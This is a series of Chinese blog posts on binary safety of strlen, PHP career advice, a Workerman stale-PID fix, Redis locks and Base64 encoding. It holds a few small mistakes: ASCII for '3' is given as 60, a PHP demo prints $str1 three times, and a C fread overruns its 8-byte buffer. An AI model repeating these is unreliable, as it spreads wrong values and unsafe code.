$ git tag v1.0.0
$ git push origin v1.0.0

\0 标识字符串结束。
如果字符串中包含 \0 或者二进制数据,就会导致 strlen 函数获取的长度跟字符串实际的长度不一致。
int main()
{
char *str1 = "hello her-cat";
char *str2 = "hello\0her-cat";
char *str3 = "hello\x00her-cat";
printf("str1: %lu\n", strlen(str1));
printf("str2: %lu\n", strlen(str2));
printf("str3: %lu\n", strlen(str3));
return 1;
}
// 输出:
// str1: 13
// str2: 5
// str3: 5
可以看到 str2 和 str3 都只统计了 hello 的长度,为什么会出现这种情况?
因为 strlen 函数是通过遍历字符串来计算长度的,时间复杂度为 O(n)。在遍历的过程中,如果某个字符等于 \0, 就会停止遍历并返回第一个字符到该字符的字符数量,也就是字符串的长度。
当字符串中包含 \0 就会导致提前停止遍历,导致得到错误的字符串长度。所以我们称 C 语言中的 strlen 函数是非二进制安全的。
PHP 的 strlen 函数是二进制安全的,因为它不依赖于 \0 确定字符串的长度。
<?php
$str1 = "hello her-cat";
$str2 = "hello\0her-cat";
$str3 = "hello\x00her-cat";
printf("str1: %lu\n", strlen($str1));
printf("str2: %lu\n", strlen($str1));
printf("str3: %lu\n", strlen($str1));
// 输出:
// str1: 13
// str2: 13
// str3: 13
在 PHP 字符串结构体中,使用了 len 字段保存字符串的长度,调用 strlen 时读取该值就能得到字符串的长度。
struct _zend_string {
zend_refcounted_h gc; // 垃圾回收信息
zend_ulong h; // hash 值
size_t len; // 字符串长度
char val[1]; // 柔性字节数组,保存字符串
};
// 读取字符串长度的宏
#define ZSTR_LEN(zstr) (zstr)->len
ZEND_FUNCTION(strlen)
{
zend_string *s;
// 解析 strlen 的参数 s
// 1, 1 表示最小参数个数和最大参数个数
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STR(s)
ZEND_PARSE_PARAMETERS_END();
// 返回字符串长度
RETVAL_LONG(ZSTR_LEN(s));
}
《Redis 设计与实现》中解释了什么是二进制安全:
SDS 的 API 都是二进制安全的(binary-safe): 所有 SDS API 都会以处理二进制的方式来处理 SDS 存放在 buf 数组里的数据,程序不会对其中的数据做任何限制、过滤、或者假设 —— 数据在写入时是什么样的, 它被读取时就是什么样。
为什么 C 语言的 strlen 函数不是二进制安全的?
因为它依赖字符串中的数据,对字符串中的数据做了过滤,只要字符串出现 \0 就认为字符串结束,导致计算长度时读取到的数据跟写入的数据不一致。
那么 Redis 是怎么解决二进制安全的问题呢?
在书中也有提到,由于直接使用 C 字符串存在二进制安全问题,所以不能用 C 字符串保存二进制数据(文本、图片)。
Redis 作为一个 KV 数据库,肯定不能限制用户存取的数据的类型,为了解决这个问题,Redis 设计了 SDS(Simple Dynamic String) 数据结构,又称简单动态字符串,结构体如下:
struct sdshdr {
// 记录 buf 数组中已使用字节的数量
// 等于 SDS 所保存字符串的长度
int len;
// 记录 buf 数组中未使用字节的数量
int free;
// 字节数组,用于保存字符串
char buf[];
};
这里用的是 Redis 3.0 版本的 SDS,新版本的 Redis 对 SDS 进行了优化,结构体也有变化。
与 PHP 处理的方式相同,也是通过 len 的字段用来保存字符串的长度,不仅避免了二进制安全问题,同时提高了获取字符串长度的效率,不需要每次都去遍历 buf 字节数组。
同时,SDS 相对于 C 字符串具有以下优点:
关于 SDS 完整的实现可以查看 SDS 与 C 字符串的区别。
上面例子都是关于字符串的,这里再写一个二进制数据的例子。
首先用 PHP 生成二进制数据写入到文件中,并打印出来。
<?php
$str = sprintf('%s%s%s', pack('N', 123), pack('n', 456), pack('n', 789));
file_put_contents('data.dat', $str);
var_dump($str);
// 输出:
// string(8) "{�"
因为 PHP 对字符串读写是二进制安全的,所以能够正确打输出长度和内容。
接下来用 C 语言读取 data.dat 文件并输出。
int main()
{
FILE *fp;
char str[8];
fp = fopen("data.dat", "r");
fread(&str, 8, 8, fp);
printf("len: %lu\n", strlen(str));
printf("str: %s\n", str);
return 1;
}
// 输出:
// len: 0
// str:
意料之中的长度为0、内容为空,用 GDB 调试可以看到 str 其实是有内容的。
(gdb) b main
Breakpoint 1 at 0x792: file /tmp/tmp.8inXlhJrYC/main.c, line 5.
(gdb) r
Starting program: /home/vagrant/code/her-cat/binary-safe/build/bin/main
Breakpoint 1, main () at /tmp/tmp.8inXlhJrYC/main.c:5
5 {
(gdb) u 12
main () at /tmp/tmp.8inXlhJrYC/main.c:12
12 printf("len: %lu\n", strlen(str));
(gdb) p str
$1 = "\000\000\000{\001\310\003\025"
最后总结一下,二进制安全就是:严格按照二进制的方式进行读写数据,不关心数据的内容,写入是什么样,读取就是什么样。
如果不能做到这些,那就是非二进制安全的。
一个没有感情的二进制数据读写工具。
]]>PHP 程序员的未来不是 Java,Java 拯救不了你。
已经 1368 年了,你扪胸自问,没有了 Nginx 的你,还能用 PHP 做什么。有一些高端的刁民会愤怒地说:“有 Swoole 啊,有 Workerman 啊!”,那么,有两个问题需要回答:
你可不可以用 Swoole 或 Workerman 去逐渐实现并代替贵司现有 PHP 业务 如果可以更换,除了你之外的其他同事们需要花费多少精力和时间 认真思考一下,仿佛感觉 FPM 就是 PHP 的业界毒瘤,不过老话说得好:能用就行…
不说静态语言,就说脚本语言而言,拿同行 Python 相比,你看人家 Python,多么的均衡多么的全面,进程、线程、IO、Stream 什么都没有拉下,一句话总结一下就是:既没有明显缺点,也没有明显优点,什么都能做。
你们知道么,能做到"既没有明显缺点,也没有明显优点,什么都能做”是多么的困难的一件事。
搞 Python 的同行们,除了能用 Flask 码 Web,也能用 Tornado 搞异步非阻塞,能够运用线程池来做一些 task;相比之下,作为同行的我们,似乎除了会在 FPM 或者 apache_mod 下搞一搞增删改查,似乎别的什么也做不了了,而且在接收新概念的时候,不太容易能接纳(后半句科班生以及优秀的非科班生忽略)。
除了 Python 外,大举入侵的 Nodejs,能够很快让原来的娱乐圈的同行们很快融入切换到后端圈来,而且天生的异步非阻塞优势能够让他们写出 QPS 很高的 Web 程序。
Java,恕我直言,实际上 PHP 压根就不具备和 Java 对比的资格,别玻璃,事实如此,PHP 被 Java 按在地上摩擦,那为啥文章开头你为啥说…我就是讨厌 Java,个人偏见,仅此而已…
回应文章标题的话,Nodejs 压根不需要 Nginx,而 Python 用 Tornado 也是完全 O jb K!当然了,PHP 也能这么做,然后请回到文章开头第五行和第六行。归根结底,都是生态问题导致的。我不能从从业者质量问题上去理解这个问题…
PHP7 似乎是 PHP 的奋力一击,性能猛地提升了一倍。然而,以我目前的认知水准,似乎总有强弩之末的赶脚。PHP 的强项在 Web,这门为 Web 而生的语言似乎还没有做好拥抱新时代的准备。
都1368年了,PHPer 该如何提升自己?
第一:还请继续深入研究 PHP,打好 PHP 自身的基础,PHP 的 SPL 库系列请仔细研究;PHP 的 socket 模块以及 pcntl 模块,一定要研究尝试一下,请尝试学习使用 PHP cli 模式去运行 PHP,上面这几点都是针对纯语言方向的研究;然后,最好尝试从工程代码组织角度去理解和学习设计模式和面向对象 OOP,因为干巴巴地背诵设计模式,压根理解不了。如果可以,请尝试使用 Swoole 或者 Workerman,推荐 Swoole,因为折腾 Swoole 的过程会让你知道很多你需要补充的知识点
第二:请接纳一门新的语言。首先推荐 Golang,然后是 Java,其次是 Nodejs,终极杀招是 C/C++。不太严格地讲,编程语言分静态编译或动态脚本语言,所以我不建议再搞新的脚本语言,比如 Nodejs 或 Python 甚至 Ruby 之类,你既然要花费时间和精力去补充新鲜血液,不妨尝试 Golang。作为终极大杀器,如果你对自己足够狠,请深入研究 C 语言
第三:请深入研究数据结构,了解了数据结构,很多东西就会理解了。然后基础算法,注意是基础算法,那些脑筋急转弯就省省得了。现有的这些基础算法已经是人类智慧的结晶了,能够熟练运用就非常不错了,推荐书籍:《大话数据结构》
上面三点如果研究了一段时间,已经有所积累了的话,准备下面的几个步骤:
第四:深入研究一下 MySQL 和 Redis。MySQL 请购买《MySQL 技术内幕:innodb 存储引擎》和《高性能 MySQL》两本书,Redis 请购买《Redis 设计与实现》。有了前面三点累计的成果,你会对以前面试前需要背诵的什么 Mysql 索引优化原则了然于胸,不用背诵了,因为他就是应该是那样的。
实际上,你第四步进行一个周期后,还是会有一些疑惑,确实理解不了,只能靠背诵和记忆,无妨。
第五:终究绕不开的还是学习 CLang 和使用 Linux 操作系统。你需要准备两本书,按照学习先后顺序,分别是《C Primer Plus》和《Unix 环境高级编程》。这地方有一个巨大的错觉,就是读完一遍《C Primer Plus》后就觉得自己会 CLang 了,有这种优越感的,请你尝试用 CLang 做个什么东西出来?然后你发现似乎真的什么也做不了,这会儿就可以步入到《Unix 环境高级编程》的节奏了,在这里你才能逐渐发现 CLang 可以做些什么。一个流程完毕后,你再回到第四步,试试?第一次看第四步的时候遗留的问题是不是可以搞定一部分了?
再往下,就没有了,到了这一步,实际上大多数人自己已经方向是什么了。说到底都是基础,一切基于基础之上的上层应用都是海市蜃楼,犹如过眼云烟,你今天背过这个,明天就会冒出来新的。今天他叫 Node,明天他就叫 Deno,然而不变的永远是基于事件监听的异步非阻塞 IO…
]]>年前逛 GitHub 的时候,发现 Workerman 有一个 2017 年打开的 Issue:already running,原文如下:
Where is the problem?! I reboot the server and it is the first time I want to run workerman
php index.php start -d
The result is
Workerman[index.php] start in DAEMON mode
Workerman[index.php] already running
大概意思就是重启服务器之后,第一次启动 Workerman 会提示已经在运行了,但实际上并没有运行。
因为重启服务器之后,保存 Workerman 主进程 PID 的文件仍保留在磁盘上。
正常情况下,Workerman 退出时会清理掉这个文件,但是该用户重启服务器后文件并没有被清理,导致 Workerman 误认为已经在运行中。
作者给出了一个补救方法:手动删除记录主进程 PID 的文件。虽然临时解决了问题,但是每次出现都要去手动处理一下,感觉不太友好。
要想解决这个问题,首先得弄清楚两个问题:
Workerman 在启动的时候会生成一个文件,用于记录主进程的 PID。
// Start file.
$backtrace = \debug_backtrace();
static::$_startFile = $backtrace[\count($backtrace) - 1]['file'];
// 生成文件名
$unique_prefix = \str_replace('/', '_', static::$_startFile);
// 保存记录主进程 PID 的文件路径
if (empty(static::$pidFile)) {
static::$pidFile = __DIR__ . "/../$unique_prefix.pid";
}
// 设置主进程名称(记住这个进程名称,后面会用到)
static::setProcessTitle(static::$processTitle . ': master process start_file=' . static::$_startFile);
然后检查 Workerman 是否已经在运行中。
// 获取主进程的 PID,如果文件不存在或者不是一个正常的文件则返回 0
$master_pid = \is_file(static::$pidFile) ? \file_get_contents(static::$pidFile) : 0;
// 如果 PID 存在就给它发送一个信号 `0`,信号量 `0` 类似于 ping,用于检测进程是否存活
// 然后判断当前进程 PID 是否不等于文件中记录的 PID(不相等说明 Workerman 已经在运行中,但是又再次执行命令了)
$master_is_alive = $master_pid && \posix_kill($master_pid, 0) && \posix_getpid() !== $master_pid;
if ($master_is_alive) {
// 如果主进程存活并且执行的命令为 start,提示 Workerman 正在运行中并退出
if ($command === 'start') {
static::log("Workerman[$start_file] already running");
exit;
}
} elseif ($command !== 'start' && $command !== 'restart') {
// 如果主进程未存活且执行的命令不是 start 或 restart,则提示 Workerman 未运行并退出
static::log("Workerman[$start_file] not run");
exit;
}
当一系列检查通过后,开始保存主进程的 PID。
protected static function saveMasterPid()
{
// 非 Linux 系统不保存 PID
if (static::$_OS !== \OS_TYPE_LINUX) {
return;
}
// 获取主进程的 PID
static::$_masterPid = \posix_getpid();
// 将主进程的 PID 写入到文件中
if (false === \file_put_contents(static::$pidFile, static::$_masterPid)) {
throw new Exception('can not save pid to ' . static::$pidFile);
}
}
当收到 SIGINT、SIGTERM、SIGHUP 等信号时,将进程状态设置为 STATUS_SHUTDOWN 并通知子进程退出。
如果主进程的状态为 STATUS_SHUTDOWN 并且所有子进程已经退出,就会去清除 PID 文件并退出。
protected static function exitAndClearAll()
{
foreach (static::$_workers as $worker) {
$socket_name = $worker->getSocketName();
if ($worker->transport === 'unix' && $socket_name) {
list(, $address) = \explode(':', $socket_name, 2);
@\unlink($address);
}
}
// 删除 PID 文件
@\unlink(static::$pidFile);
static::log("Workerman[" . \basename(static::$_startFile) . "] has been stopped");
if (static::$onMasterStop) {
\call_user_func(static::$onMasterStop);
}
// 退出进程
exit(0);
}
看到这有人肯定会问了,这不是有清理 PID 文件的机制吗?为什么还能从文件中获取到 PID?
我先在虚拟机中进行了测试,服务器在重启的时候会发送 SIGTERM 信号通知进程,Workerman 可以正常退出并且清理 PID 文件。
但是在云服务器中测试的时候,如果勾选了强制重启会导致 Workerman 收不到信号,也就不能够执行 exitAndClearAll() 里面的代码了。
来自服务器厂商的提醒:强制重启会导致云服务器中未保存的数据丢失,请谨慎操作。
为什么给 PID 文件中的进程发信号还会返回 true 呢?
服务器在重启后,另一个进程启动了,它的 PID 与 Workerman 的旧 PID 相同(没错,就是这么巧)。
所以在检查主进程是否存活时,还要判断该进程是否为 Workerman 的进程。
Issue 中 @detain 给出了一个使用 shell 脚本的解决方法:
To check to see if its running and safely remove pid files can do something like:
if [ $(php start.php status 2>/dev/null|grep "PROCESS STATUS"|wc -l) -eq 0 ]; then
# clean up old run, remove pid file or run a stop command?
php start.php stop
php start.php start -d
fi
先通过 php start.php status 命令获取 Workerman 的状态,然后统计 PROCESS STATUS 出现的次数(每个进程都会有一个 PROCESS STATUS),如果次数为 0 说明没有运行中的进程,就可以执行停止命令,再启动 Workerman。
受到这个方法启发,然后基于它改造了 Workerman 检查主进程是否存的逻辑,一顿复制粘贴之后就有了第一版的代码:
// Get master process PID.
$master_pid = \is_file(static::$pidFile) ? \file_get_contents(static::$pidFile) : 0;
// Master is still alive?
if (static::checkMasterIsAlive($master_pid)) {
if ($command === 'start') {
static::log("Workerman[$start_file] already running");
exit;
}
}
/**
* Check master process is alive
*
* @param $master_pid
* @return bool
*/
protected static function checkMasterIsAlive($master_pid)
{
if (empty($master_pid)) {
return false;
}
$master_is_alive = $master_pid && \posix_kill($master_pid, 0) && \posix_getpid() !== $master_pid;
if (!$master_is_alive) {
return false;
}
// Master process will send SIGUSR2 signal to all child processes.
\posix_kill($master_pid, SIGUSR2);
// Sleep 1 second.
\sleep(1);
return stripos(static::formatStatusData(), 'PROCESS STATUS') !== false;
}
逻辑跟 shell 脚本差不多,就不再解释了。这个解决方法也有两个小问题:
感觉在启动的时候慢一秒应该还能接受,只要处理请求的时候不慢就行了,于是就提交了 PR,并描述了这一段代码的作用及带来的问题。
Fixed: #125
There is a problem:
if another process starts and the pid is the same as the workerman's old pid, it will receive the SIGUSR2 signal.
没过多久作者便在 PR 下面回复了我:
Thank you for your pr.
There is a problem:
if another process starts and the pid is the same as the workerman's old pid, it will receive the SIGUSR2 signal.
If the PR is merged, some commands will be delayed by one second.
I think a better way is to read /proc/PID information to determine whether it is a PHP process or a workerman process.
先说了延迟一秒钟的问题,接着又给出了更好的解决方法:读取 /proc/PID 信息来确定它是其它进程还是 Workerman 进程。
搜索资料之后发现可以读取 /proc/PID/cmdline 得到启动进程时的命令。
Workerman 在启动时会调用 Worker::setProcessTitle() 方法覆盖 cmdline 的内容,所以实际上得到的是 Workerman 的进程名称。
/**
* Set process name.
*
* @param string $title
* @return void
*/
protected static function setProcessTitle($title)
{
// 设置一个空的错误处理函数,避免提示 PHP 错误
\set_error_handler(function(){});
// >=php 5.5
if (\function_exists('cli_set_process_title')) {
\cli_set_process_title($title);
} // Need proctitle when php<=5.5 .
elseif (\extension_loaded('proctitle') && \function_exists('setproctitle')) {
\setproctitle($title);
}
// 还原错误处理函数
\restore_error_handler();
}
默认情况下,进程名称将被设置为 WorkerMan: master process start_file=启动文件的完整路径。
所以只需要判断 cmdline 是否包含 Worker::$processTitle 就可以知道该进程是否为 Workerman 进程。
cmdline可以保存多少个字符跟启动命令有关,比如启动命令是 php index.php start -d,那么进程名称就有可能被截取为 WorkerMan: worker proce,所以这里用的是包含而不是等于。
protected static function checkMasterIsAlive($master_pid)
{
if (empty($master_pid)) {
return false;
}
// 检查进程是否存活
$master_is_alive = $master_pid && \posix_kill($master_pid, 0) && \posix_getpid() !== $master_pid;
if (!$master_is_alive) {
return false;
}
// 到了这里说明进程是存活的,但是不能保证这个进程是 Workerman 进程
// 需要读取进程信息才能确定,有任何一个步骤导致不能获取进程信息都要返回 true
// 因为根据上面的检测结果,进程是存活的
$cmdline = "/proc/{$master_pid}/cmdline";
// 进程信息不可读或设置的进程名为空
if (!is_readable($cmdline) || empty(static::$processTitle)) {
return true;
}
$content = file_get_contents($cmdline);
// 未读取到进程信息
if (empty($content)) {
return true;
}
// 判断是否包含进程名称
return stripos($content, static::$processTitle) !== false;
}
再次提交,没过多久就收到了代码被合并的邮件。
回答一下上面提出的两个问题:
Q:为什么 Workerman 没有清理 PID 文件?
A:因为 Workerman 没有正常退出(强制关机、重启、断电)
Q:为什么重启服务器后启动 Workerman 提示已经在运行中?
A:因为服务器重启后,其他进程的 PID 与 Workerman 的旧 PID 相同,误认为是 Workerman 进程。
之前在写支付回调的时候,因为第三方支付的回调机制有问题,存在并发回调的情况。如果对回调的订单不加锁的话,会造成一笔订单重复处理的情况。
在 Laravel 中使用基于 Redis 的锁非常简单,只需要使用 Cache::lock() 就可以创建和管理锁。
更多使用方法: https://learnku.com/docs/laravel/6.x/cache/5160#atomic-locks
use Illuminate\Support\Facades\Cache;
$orderSn = '123456';
// 创建一个锁
$lock = Cache::lock("pay_callback:{$orderSn}", 10);
if (!$lock->get()) {
// 没有抢到锁
exit('failed');
}
// 更新订单支付结果
// 释放锁
$lock->release();
如果用 Redis 作为缓存驱动的话,这段代码的锁就是用 Redis 的 SET 命令加上 NX 和 EX 参数实现的。
本文的例子是单机分布式锁,多 Redis 实例的分布式锁参考: https://redis.io/topics/distlock。
多个进程(线程)请求共享资源时,为了保证共享资源在任意时间间隔内只有一个进程(线程)可以进行操作。
为了能够有效使用分布锁,应该具备的三个条件:
在 Redis 2.6.12 版本以前,需要 SETNX、EXPIRE 两个命令实现锁。
SETNX 命令保证 key 只会被设置成功一次。
127.0.0.1:6379> SETNX lock-key val
(integer) 1
127.0.0.1:6379> SETNX lock-key val
(integer) 0
可以看到第二次设置 lock-key 时返回 0,表示没有被设置成功。
这时 lock-key 的过期时间为 -1,表示不会过期。
127.0.0.1:6379> ttl lock-key
(integer) -1
EXPIRE 命令保证了即使客户端抢到锁后挂掉了,在到达指定的过期时间后依然可以被其它客户端获取,不会造成死锁。
# 设置10秒后过期
127.0.0.1:6379> expire lock-key 10
(integer) 1
虽然基本上实现了锁,但是由于使用了两个命令,需要发出两次网络请求并等待响应,两次请求都有可能被意外情况打断,不是原子操作。
关于原子操作的解释: 所谓原子操作是指不会被进程(线程)调度机制打断的操作;只要开始执行,就不会被打断,直到执行完毕。
举个例子:
为了避免这种情况可以使用 Lua 脚本来代替,只发出一次网络请求,保证了客户端只要发出了请求,Redis 在执行 Lua 脚本的时候运行正常,就一定能设置锁成功。
为了能够更加方便的实现锁,在 Redis 2.6.12 后,SET 命令新增了 NX、EX 等参数,只需要一条命令就能设置 key、value 及过期时间。
SET key value NX EX 10
在过期时间前处理完业务逻辑后,需要提前释放锁,最简单的办法就是使用 DEL 命令删除。但是这种方法太过于粗暴了,而且会产生问题,比如 A 抢到了锁,然后开始处理自己的业务逻辑,这时候如果 B 直接用 DEL 命令将 A 的锁删除了,就会导致 A 访问的共享资源不安全。这样肯定是不行的,谁创建的锁就只能由谁来释放。
所以在设置锁的时候,需要生成一个唯一的字符串作为当前进程(线程)的 token,然后再将 token 设置为锁的值。在释放锁的时候,需要判断当前进程(线程)的 token 是否等于锁的 token,如果一致再使用 DEL 删除 key。
Lua 脚本示例:
if redis.call("get",KEYS[1]) == ARGV[1]
then
return redis.call("del",KEYS[1])
else
return 0
end
代码比较简单,就是将 Redis 的几个命令封装了一下。
需要安装 Redis 扩展,也可以改用 predis/predis。
class RedisLock
{
/**
* @var Redis
*/
private $redis;
/**
* @var string
*/
private $token;
/**
* @var string
*/
private $prefix = 'redis-lock';
/**
* RedisLock constructor.
* @param Redis $redis
*/
public function __construct(Redis $redis = null)
{
$this->redis = $redis ?: $this->createRedis();
$this->token = md5(uniqid(spl_object_hash($this), true));
}
/**
* 获取一个锁.
* @param string $name
* @param int $seconds
* @return bool
*/
public function get(string $name, int $seconds)
{
$args = [$this->buildKey($name), $this->token, $seconds];
// Redis 2.6.12 版本以后支持 SET 命令支持 NX、EX 选项
// SET key value NX EX seconds
// $this->redis->set($this->buildKey($name), $this->token, ['NX', 'EX' => $seconds]);
return (bool) $this->redis->eval(self::getLockLuaScript(), $args, 1);
}
/**
* 释放锁.
* @param string $name
* @return bool
*/
public function release(string $name)
{
$args = [$this->buildKey($name), $this->token];
return (bool) $this->redis->eval(self::getReleaseLuaScript(), $args, 1);
}
/**
* 强制释放锁.
* @param string $name
* @return bool
*/
public function forceRelease(string $name)
{
return (bool) $this->redis->del($this->buildKey($name));
}
/**
* 构造缓存 key.
* @param $name
* @return string
*/
protected function buildKey($name)
{
return sprintf('%s%s', $this->prefix, $name);
}
/**
* 创建 Redis 实例.
* @return Redis
*/
protected function createRedis()
{
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
return $redis;
}
/**
* 获取加锁的 Lua 脚本.
* @return string
*/
public static function getLockLuaScript()
{
return <<<LUA
if redis.call("setnx",KEYS[1],ARGV[1]) > 0
then
return redis.call('expire',KEYS[1],ARGV[2])
else
return 0;
end
LUA;
}
/**
* 获取释放锁的 Lua 脚本.
* @return string
*/
public static function getReleaseLuaScript()
{
return <<<LUA
if redis.call("get",KEYS[1]) == ARGV[1]
then
return redis.call("del",KEYS[1])
else
return 0
end
LUA;
}
}
$lock = new RedisLock();
$lock2 = new RedisLock();
$lock_name = 'order';
echo "锁的名称:".$lock_name.PHP_EOL;
echo "lock1 第1次获取锁:".json_encode($lock->get($lock_name, 10)).PHP_EOL;
echo "lock1 第2次获取锁:".json_encode($lock->get($lock_name, 10)).PHP_EOL;
echo "lock2 第1次获取锁:".json_encode($lock2->release($lock_name)).PHP_EOL;
echo "lock2 尝试释放取锁:".json_encode($lock2->release($lock_name)).PHP_EOL;
echo "lock1 尝试释放取锁:".json_encode($lock->release($lock_name)).PHP_EOL;
echo "lock2 第2次获取锁:".json_encode($lock2->get($lock_name, 10)).PHP_EOL;
运行结果:
锁的名称:order
lock1 第1次获取锁:true
lock1 第2次获取锁:false
lock2 第1次获取锁:false
lock2 尝试释放取锁:false
lock1 尝试释放取锁:true
lock2 第2次获取锁:true
index.php:
require_once 'RedisLock.php';
$lock = new RedisLock();
// 持有锁 1 秒
$result = $lock->get('siege-test', 1);
// 抢到锁返回状态码 200,否则返回 500
http_response_code($result ? 200 : 500);
// 延迟 0.9 秒,方便看效果
usleep(900000);
压测命令:
siege -c 100 http://127.0.0.1:8081
压测结果:

早在去年 11 月底就已经看过《PHP 实现 Base64 编码/解码》这篇文章了,由于当时所掌握的位运算知识过于薄弱,所以就算是看过几遍也是囫囵吞枣一般,不出几日便忘记了其滋味。
只得其形,不知其意。
所以暗下决心写一篇阅读笔记,以此来较量是否掌握了其原理及位运算相关知识。但是作为一名拖延症患者,导致此事一再拖延,直至今日。
人总是趋利避害的。
记得刚出来实习的时候,室友大牛会截图问我一些代码是什么意思。我跟他说,你一行行的读,一边读一边写注释,等你读完就知道这些代码是什么意思。
对于一坨不认识的代码,首先是抗拒,但是为了生活又不得不做,于是开始烦躁起来,选择寻求他人或者搁置一旁。遇到这种情况,按照上面的方法一行行的写注释,写着写着心就静了下来,代码也理解了,既不麻烦他人也完成了任务。
放假前,在《C Primer Plus》一书中阅读了关于位运算的章节,对于位运算的一些概念有了基本的认识,所以当静下心来阅读《PHP 实现 Base64 编码/解码》文中的代码时,也还算是顺畅。
由于文中一些位运算代码十分巧妙,所以在阅读代码的时候也是一边写注释一边读,为了便于查看,带注释的代码放在文末。
这张表包含了 64 个字符,Base64 编码后的结果也是取自于这 64 个字符,每个字符用 6 位的二进制来表示。

通过这张映射表,可以根据 Binary 找到对应的 Char,Index 的二进制去掉左侧两位就是 Binary 了。
举个例子,Index 51 的二进制是 00110011,一共有 8 位,去掉左侧两位就是 110011,对应的 Char 是 z;
假设现有字符串 123 需要编码,首先将每个字符的 ASCII 转成二进制后排列在一起。
// 1 的 ASCII 为 49,49 的二进制为 00110001
// 2 的 ASCII 为 50,50 的二进制为 00110010
// 3 的 ASCII 为 60,60 的二进制为 00110011
// 将二进制排列在一起
001100010011001000110011
上面的二进制为 24 位,正好可以拆分为 4 个 6 位的 Base64 字符。
001100 010011 001000 110011
再根据上面映射表中的 Binary 找到对应的 Char。
001100 010011 001000 110011
M T I z
所以字符串 123 经过 Base64 之后就是 MTIz 了。
虽然上面已经将 Base64 编码的过程基本上说完了,但是还有个很重要的问题:如果字符串的长度不是 3 的倍数怎么办?
举个例子,需要加密的字符串为 1234,长度为 4,不是 3 的倍数,多出了一个字符。
排列后的二进制位为 32 位,组成 5 个 6 位的 Base64 字符后还多出 2 位,多出来的总不能丢掉不管吧?所以需要对多出来的位进行 补齐 处理。
怎么补呢?上面已经说过,6 位可以组成一个 Base64 字符,那么只要再补上 4 位就可以组成一个完整的Base64 字符。
在这里我们偷偷的给字符串加了 4 位,怎么在解码时候知道编码时加了 4 位呢?很简单,只需要在编码结果后面加上两个 = 号。
所以字符串 1234 的编码结果为 MTIzNA==。
上面举的例子是多出一个字符的情况,如果多出两个字符呢?还是一样做补齐处理,不过只需要补上 2 位,在编码结果后面加上一个 = 号。
为了突出重点,这里会将每部分的代码单独提出来,补充一些源码中并不存在的代码,使得代码块能够单独运行。
首先将每个字符的 ASCII 转为二进制并排列在一起。
// 需要编码的字符串
$content = '123';
// 先将第一个字符左移16位,为剩下2个字符(每个字符8位)腾出16位的空间
$int_24 = (ord($content[0]) << 16)
// 再将第二个字符左移8位,紧跟第一个字符后面
| (ord($content[1]) << 8)
// 最后一个字符放在剩下的8位里面
| (ord($content[2]) << 0);
先理解一下上面的注释,在脑海中留一个大致的印象,然后再往后看。
$content[0] 的值为 1,通过 ord() 函数获取到 ASCII 值为 49,49 的二进制值为 00110001,然后将其左移 16 位,得到的二进制为 001100010000000000000000。
左移多少位是在二进制的右边加多少个 0 ,可以数一下二进制 00110001 的右边是不是多了 16 个 0,这 16 个 0 就是为剩下的两个字符留的。
$content[1] 的值为 2,ASCII 值为 50,50 的二进制为 00110010,左移 8 位后的二进制为 0011001000000000,然后通过位或运算将其放入二进制 001100010000000000000000 中,得到二进制 001100010011001000000000。
001100010000000000000000 // 第一个字符 ASCII 码左移16位后
0011001000000000 // 第二个字符 ASCII 码左移8位后
001100010011001000000000 // 位或运算后
这样第二个字符的二进制就紧跟在第一个字符的二进制后面,这时后面还有空闲的 8 个 0 留给最后一个字符。
$content[2] 的值为 3,ASCII 为 60,60 的二进制为 00110011,然后使用位或运算直接放入上一步得到的二进制中。
001100010011001000000000 // 上一步得到的二进制
00110011 // 60 的二进制
001100010011001000110011 // 位或后
此时,$int_24 的二进制值为 001100010011001000110011。
觉得看不清的话可以 ctrl f 分别搜索一下三个字符 ASCII 的二进制。
接下来将 $int_24 的二进制分为 4 个 6 位的二进制,然后再根据二进制转换为 Base64 字符。
// 通过 normalToBase64Char() 方法将6位的二进制转换为 base64 字符
$ret .= self::normalToBase64Char($int_24 >> 18);
$ret .= self::normalToBase64Char(($int_24 >> 12) & 0x3f);
$ret .= self::normalToBase64Char(($int_24 >> 6) & 0x3f);
$ret .= self::normalToBase64Char($int_24 & 0x3f);
先来看一下 4 个 6 位二进制获取的过程。
第一个 6 位二进制,将 $int_24 右移 18 位得到了二进制 001100,右移就是移除右侧多少个位。
001100010011001000110011 // $int_24 的二进制
001100 // 右移 18 位后
第二个 6 位二进制,将 $int_24 右移 12 位,再通过位与 0x3f 保留右侧的 6 位,得到二进制 010011。
001100010011001000110011 // $int_24 的二进制
001100010011 // 右移 12 位后
111111 // 0x3f 的十进制是63,二进制值是 111111
010011 // 位与运算后
第三个 6 位二进制,将 $int_24 右移 6 位,再通过位与 0x3f 保留右侧的 6 位,得到二进制 001000。
001100010011001000110011 // $int_24 的二进制
001100010011001000 // 右移 6 位后
111111 // 0x3f 的十进制是63,二进制值是 111111
001000 // 位与运算后
第四个 6 位二进制,将 $int_24 位与 0x3f 保留右侧的 6 位,得到二进制 110011。
001100010011001000110011 // $int_24 的二进制
111111 // 0x3f 的十进制是63,二进制值是 111111
110011 // 位与运算后
再来看看 normalToBase64Char() 方法,这个函数的作用就是将 6 位二进制表示的值转为 Base64 字符。
private static function normalToBase64Char($num)
{
if ($num >= 0 && $num <= 25) {
return chr(ord('A') + $num);
} else if ($num >= 26 && $num <= 51) {
return chr(ord('a') + ($num - 26));
} else if ($num >= 52 && $num <= 61) {
return chr(ord('0') + ($num - 52));
} else if ($num == 62) {
return '+';
} else {
return '/';
}
}
需要注意的是,这里的 $num 是上面分割出来的 6 位二进制表示的值,比如 001100 表示的值就是 12。$num 就是映射表中的 Base64 数值(Index)。
// 0b 表示001100是二进制的
echo 0b001100; // 12
通过映射表可以知道 001100 对应的是 M,那怎么给它们建立映射关系呢?
还是得从映射表中找规律,A 的 ASCII 值为 65,M 的 ASCII 值为 77,77 减 65 等于 12,正好是 001100 所表示的值。所以当 $num 的值大于等于 0,小于等于 25 时,$num 对应的 Base64 字符在 A ~ Z 之间,只需要将 $num 加上 A 的 ASCII 值 65 就可以得到对应的 Base64 字符了。
// 当 $num >= 0 && $num <= 25
// 0 的 6 位二进制为 000000
echo chr(ord('A') + 0b000000).PHP_EOL; // A
// 1 的 6 位二进制为 000001
echo chr(ord('A') + 0b000001).PHP_EOL; // B
// 2 的 6 位二进制位 000010
echo chr(ord('A') + 0b000010).PHP_EOL; // C
// 3 的 6 位二进制位 000011
echo chr(ord('A') + 0b000011).PHP_EOL; // D
